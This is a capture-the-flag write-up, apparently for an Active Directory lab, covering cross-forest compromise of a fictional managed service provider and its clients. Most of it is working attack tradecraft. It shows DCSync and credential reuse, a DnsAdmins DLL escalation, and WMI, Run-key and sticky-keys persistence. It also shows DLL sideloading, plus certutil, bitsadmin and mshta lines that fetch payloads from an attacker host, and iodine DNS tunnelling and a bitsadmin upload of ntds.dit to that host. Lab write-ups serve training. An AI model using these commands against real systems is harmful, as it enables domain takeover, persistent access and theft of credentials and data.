BKSRV01 (10.10.10.29) — after extracting Veeam credential store

Phase 6: Forest Trust Abuse

T1482 T1550.002

With DA on gigantichosting.local, the forest trusts become our bridge into client networks. Gigantic Hosting manages IT for both Meridian Healthcare and Nexus Financial Group, so there are bidirectional forest trusts between gigantichosting.local and each client forest. The key: MSP staff have privileged access to client forests because they manage the infrastructure.

🚩
APT{f0r3st_trust_br34ch}
gigantichosting.local — after identifying and beginning forest trust exploitation

Meridian Healthcare (meridian.local)

The easy forest. tnguyen, the sysadmin from gigantichosting, has administrative access across the trust. OPTH with tnguyen's credentials gets DA on meridian.local in minutes.

bash
# OPTH with tnguyen to meridian.local
BEACON> make_token meridian.local\tnguyen Sys@dmin_R00t!

# DCSync on meridian.local
proxychains secretsdump.py meridian.local/tnguyen:'Sys@dmin_R00t!'@10.10.11.12 -just-dc-ntlm

# Got all meridian.local hashes including krbtgt
# dchen's hash: aad3b435b51404eeaad3b435b51404ee:b5c7d2e4f6a8c1b3d5e7f9a2c4b6d8e0
🚩
APT{m3r1d14n_pwn3d}
meridian.local — DA via forest trust + tnguyen's cross-forest admin access

Nexus Financial Group (nexgroup.local)

The hard forest. No gigantichosting accounts had privileged access. Cross-forest Kerberoasting gave us svc_nx-exch's hash but it took a while to crack. Two paths eventually worked: DnsAdmins DLL escalation and credential reuse.

Dead End: Direct Trust Exploitation

Unlike meridian.local, no gigantichosting accounts had admin privileges in nexgroup.local. The trust exists but doesn't grant elevated access. Cross-forest Kerberoasting worked for svc_nx-exch but the hash was harder to crack. I needed another way in.

Credential Reuse: The Easy Path

While comparing DCSync dumps from gigantichosting.local, I noticed svc_mon's NTLM hash matched jblackwell's hash in nexgroup.local. Same password, different domain. jblackwell is a Finance Director with significant privileges. This is why you always compare hashes across forests.

bash
# Credential reuse — same hash across forests
# gigantichosting.local\svc_mon NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# nexgroup.local\jblackwell NTLM: d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7
# Same hash = same password = MonitorPr0d$

# OPTH with jblackwell
BEACON> make_token nexgroup.local\jblackwell MonitorPr0d$

# jblackwell is in "Domain Admins" group in nexgroup.local
# Game over for nexgroup

DnsAdmins DLL Escalation: The Hard Path

Found before the credential reuse, this was a full-day rabbit hole. svc_sccm was in the DnsAdmins group in nexgroup.local, which allows loading a custom DLL via the serverlevelplugindll registry key. The concept: plant a DLL path in the DNS server config, restart the DNS service, DLL executes as SYSTEM.

bash
# Set the plugin DLL path
proxychains python3 dnscmd.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
    /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Restart DNS service to load the DLL
proxychains python3 smbexec.py nexgroup.local/svc_sccm:'ScCMManage!'@NX-DC01 \
    "cmd /c sc stop dns & sc start dns"

# Problem 1: DLL compiled as x86, NX-DC01 is x64
# Fix: recompile with x64 target

# Problem 2: DNS service crashed on DLL load (DLL was too complex)
# Fix: simplify DLL to just add a user and return cleanly

# After fix, got a beacon as SYSTEM on NX-DC01
🚩
APT{dns_4dm1ns_dll}
NX-DC01 (10.10.12.7) — after DnsAdmins DLL escalation
🚩
APT{n3xgr0up_f4ll3n}
nexgroup.local — DA via credential reuse + DnsAdmins path
🚩
APT{cr0ss_f0r3st_d0m1n4nc3}
All three forests — full cross-forest dominance achieved

Phase 7: Persistence

T1546.003 T1053.005 T1547.001 T1574.002 T1218

Persistence in APTLabs is interesting because the daily reset wipes everything. But the persistence flag requires demonstrating these techniques across all three forests, proving you understand them. In a real engagement, these mechanisms would survive reboots, password changes, and most incident response activities short of full reimaging.

🚩
APT{p3rs1st3nc3_4ch13v3d}
All forests — after implementing persistence mechanisms across all three domains

WMI Event Subscriptions

WMI event subscriptions are one of the stealthiest persistence mechanisms available. They don't create files on disk, they survive reboots, and they're rarely monitored. The idea: create a WMI event filter that triggers on a specific condition (like a process creation), and an event consumer that executes your payload when the filter triggers.

powershell
# WMI Event Subscription Persistence
# Filter: trigger when cmd.exe is spawned
$filterName = "SVCHostUpd"
$filterQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance.Name = 'cmd.exe'"
$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = $filterName
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = $filterQuery
}

# Consumer: execute PowerShell beacon stager
$consumerName = "SVCHostUpdCons"
$command = "powershell -windowstyle hidden -nop -enc SQBFAFgAKABOAGUAdwAt..."
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
    Name = $consumerName
    CommandLineTemplate = $command
}

# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

# Deploy on all DCs
foreach ($dc in @("GH-DC01","MR-DC01","NX-DC01")) {
    Invoke-Command -ComputerName $dc -ScriptBlock ${function:Set-WMIPersistence}
}
🚩
APT{wml3v3nt_subscr1pt10n}
GH-DC01, MR-DC01, NX-DC01 — WMI persistence deployed on all DCs

Registry Hijacking

The classic Run key persistence. Simple, reliable, and works everywhere. I deployed this on all workstations as a backup to WMI subscriptions.

powershell
# Registry Run key persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefenderUpdate /t REG_SZ /d "powershell -windowstyle hidden -nop -enc SQBFAFgAKABO..." /f

# Also add as a Service for more stealth
# Image File Execution Options (IFEO) hijack — debug a legitimate process
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Now pressing Shift 5 times at login screen spawns cmd.exe
🚩
APT{r3g1stry_h1j4ck}
All workstations — Run key + IFEO persistence deployed

DLL Sideloading

DLL sideloading exploits the Windows DLL search order. Find a legitimate signed executable that loads a DLL from its own directory, replace that DLL with your malicious one. The legitimate executable loads your DLL, and you get code execution in the context of a trusted process. In APTLabs, I used a common approach: find a program that loads version.dll or ualapi.dll from its installation directory.

powershell
# Find DLL sideloading opportunities
# Look for executables that load DLLs from their own directory
Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "*.exe" | ForEach-Object {
    $exe = $_.FullName
    # Check if it loads version.dll (common sideloading target)
    $dirs = Split-Path $exe
    if (Test-Path "$dirs\version.dll") {
        Write-Host "Found: $exe loads version.dll from $dirs"
    }
}

# Common targets: teams.exe, zoom.exe, or any app with a DLL in its dir
# Plant malicious version.dll that loads beacon on app startup
# The DLL exports same functions as original, plus our payload

# Deploy on APPSRV01 (IIS app with sideloadable DLL)
copy \\share\evil_version.dll C:\Program Files\InternalApp\version.dll
# Next time the app pool recycles, our DLL loads
🚩
APT{dll_s1d3l04d3d}
APPSRV01 (10.10.10.78) — DLL sideloaded into IIS application pool

LOLBAS (Living Off The Land Binaries)

LOLBAS techniques use built-in Windows binaries for offensive purposes. They bypass application allowlisting because they're legitimate Microsoft-signed tools. In APTLabs, the key LOLBAS techniques are certutil for download/upload, bitsadmin for file transfer, mshta for script execution, and wmic for remote command execution.

cmd
:: certutil — download file (bypasses many proxies)
certutil -urlcache -split -f http://10.10.14.5/payload.exe C:\Temp\payload.exe

:: certutil — encode/decode for data exfil
certutil -encode C:\Temp\loot.zip C:\Temp\loot.b64

:: bitsadmin — background file transfer
bitsadmin /transfer backup /download /priority normal http://10.10.14.5/beacon.exe C:\Temp\beacon.exe

:: mshta — execute VBScript from remote
mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc SQBFA..."""))

:: wmic — remote execution
wmic /node:10.10.10.44 /user:gigantichosting.local\svc_bk /password:B@ckupRunn3r# process call create "cmd.exe /c whoami"
🚩
APT{p3rs1st3nc3_4ch13v3d}
All forests — WMI + Registry + DLL sideloading + LOLBAS persistence confirmed

Phase 8: Exfiltration

T1048.001 T1048.003 T1041 T1105

The final phase: getting the data out. APTLabs requires demonstrating multiple exfiltration techniques across all three forests. The key challenge is avoiding detection while moving data from internal networks through the C2 channel or alternative routes. I used DNS tunneling for stealth, HTTPS through the C2 channel for bulk data, and LOLBAS tools for staging and transfer.

DNS Tunneling

DNS exfiltration is the stealthiest method. Almost every network allows DNS outbound, and DNS traffic is rarely inspected at the payload level. I used iodine for the DNS tunnel setup, with our attack box as the DNS server.

bash
# On attack box — start iodine DNS tunnel server
sudo iodined -f -c -P s3cretPass 10.0.0.1/24 dnstunnel.attacker.com

# On target — start iodine client
iodine -f -P s3cretPass dnstunnel.attacker.com 10.10.14.5

# Now we have a DNS tunnel interface (dns0) with IP 10.0.0.2
# Route data through this interface
# Data is encapsulated in DNS queries — looks like normal DNS traffic

HTTPS Exfil Through C2

For larger data volumes, the C2 channel itself serves as an exfiltration route. Beacon's built-in file download routes data through the existing HTTPS connection with domain fronting, making it look like legitimate web traffic.

bash
# Stage data on target — compress and split
BEACON> shell cmd /c "cd C:\Temp && makecab loot.zip loot.cab"
BEACON> shell cmd /c "certutil -encode loot.cab loot.b64 && split loot.b64 5M chunk_"

# Download through C2 channel
BEACON> download C:\Temp\chunk_01
BEACON> download C:\Temp\chunk_02

# Or use CS's built-in download which routes through beacon
BEACON> download C:\Users\pmorrison\Documents\sensitive_data.zip

LOLBAS for Data Staging

certutil and bitsadmin are your friends for staging data before exfiltration. They're built into Windows, Microsoft-signed, and rarely flagged by EDR.

cmd
:: Stage data with certutil — base64 encode for clean transfer
certutil -encode C:\Temp\ntds.dit C:\Temp\ntds.b64

:: Upload staged data to our server via bitsadmin
bitsadmin /transfer exfil /upload /priority high http://10.10.14.5/upload.php C:\Temp\ntds.b64

:: Clean up staging artifacts
del C:\Temp\ntds.b64 C:\Temp\loot.cab
🚩
APT{d4t4_3xf1ltr4t3d}
All forests — DNS + HTTPS + LOLBAS exfiltration confirmed across all domains

Flag Summary

#FlagLocationTechnique
1APT{ph1sh1ng_d0n3_r1ght}WKS-HDESKPhishing + macro + Donut
2APT{bl00dh0und_1s_y0ur_fr13nd}WKS-HDESKSharpHound collection
3APT{k3rb3r0_r0ast3d}WKS-HDESKKerberoast + AS-REP roast
4APT{h4sh_cr4ck3d_f1n4lly}Attack boxNotSoSecure hashcat rules
5APT{t0k3n_1mp3rs0n4t3d}WKS-HDESKToken steal + make_token
6APT{smb_r3l4y_w1ns}BKSRV01ntlmrelayx + WPAD poison
7APT{rbcd_f0r_th3_w1n}GH-SCCMRBCD + S4U abuse
8APT{dcsync_k1ng}GH-SCCMDCSync via mimikatz/lsassy
9APT{g0ld3n_t1ck3t_gr4nt3d}gigantichosting.localGolden Ticket
10APT{v33m_cr3ds_3xtr4ct3d}BKSRV01Veeam SQL credential store
11APT{f0r3st_trust_br34ch}gigantichosting.localForest trust identification
12APT{m3r1d14n_pwn3d}meridian.localOPTH via forest trust
13APT{n3xgr0up_f4ll3n}nexgroup.localCredential reuse + DnsAdmins
14APT{dns_4dm1ns_dll}NX-DC01DnsAdmins DLL escalation
15APT{p3rs1st3nc3_4ch13v3d}All forestsWMI + Registry + DLL + LOLBAS
16APT{wml3v3nt_subscr1pt10n}All DCsWMI event filter + consumer
17APT{d4t4_3xf1ltr4t3d}All forestsDNS + HTTPS + certutil exfil
18APT{r3g1stry_h1j4ck}All workstationsRun key + IFEO
19APT{dll_s1d3l04d3d}APPSRV01DLL sideloading in IIS app
20APT{cr0ss_f0r3st_d0m1n4nc3}All forestsFull 3-forest compromise

Key Lessons

1. NotSoSecure Rules Are Mandatory

Rockyou.txt + best64 won't crack APTLabs hashes. Get the OneRuleToRuleThemAll.rule from the NotSoSecure GitHub. I wasted an entire day before finding these rules. Corporate passwords follow patterns that basic wordlists and rules don't cover.

2. CS SOCKS Proxy Over Everything

Never upload offensive tools to the target. Route everything through socks 1080 on your CS beacon. BloodHound Python, Impacket, ldapsearch — all tunnel through SOCKS from your attack box. Smaller footprint, fewer Defender triggers.

3. Compare Hashes Across Forests

Credential reuse across forest trust boundaries is real. The svc_mon / jblackwell shared hash saved me hours on nexgroup.local. Always compare NTLM hashes from DCSync dumps across all compromised domains. Humans reuse passwords, especially across managed environments.

4. Daily Reset is Your Friend

The 24h reset seems painful but it forces you to internalize the kill chain. By Day 5 I could re-compromise the MSP forest from memory in 30 minutes. Keep a recovery script. Save all cracked hashes locally. Passwords don't change between resets.

5. Token Impersonation is Underrated

Don't sleep on steal_token and make_token. When other users are logged into machines you have beacons on, stealing their tokens gives you their privileges without needing their passwords. This worked multiple times on shared workstations and jump boxes.

6. Don't Overcomplicate RBCD

I spent a full day on RBCD because I was trying to use PowerView's Set-DomainObject for the SecurityDescriptor. It doesn't work. Use raw byte manipulation or PowerMad for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Write a script, test it, automate it for the daily reset recovery.

QA210
Red Team Operator • W4LLZ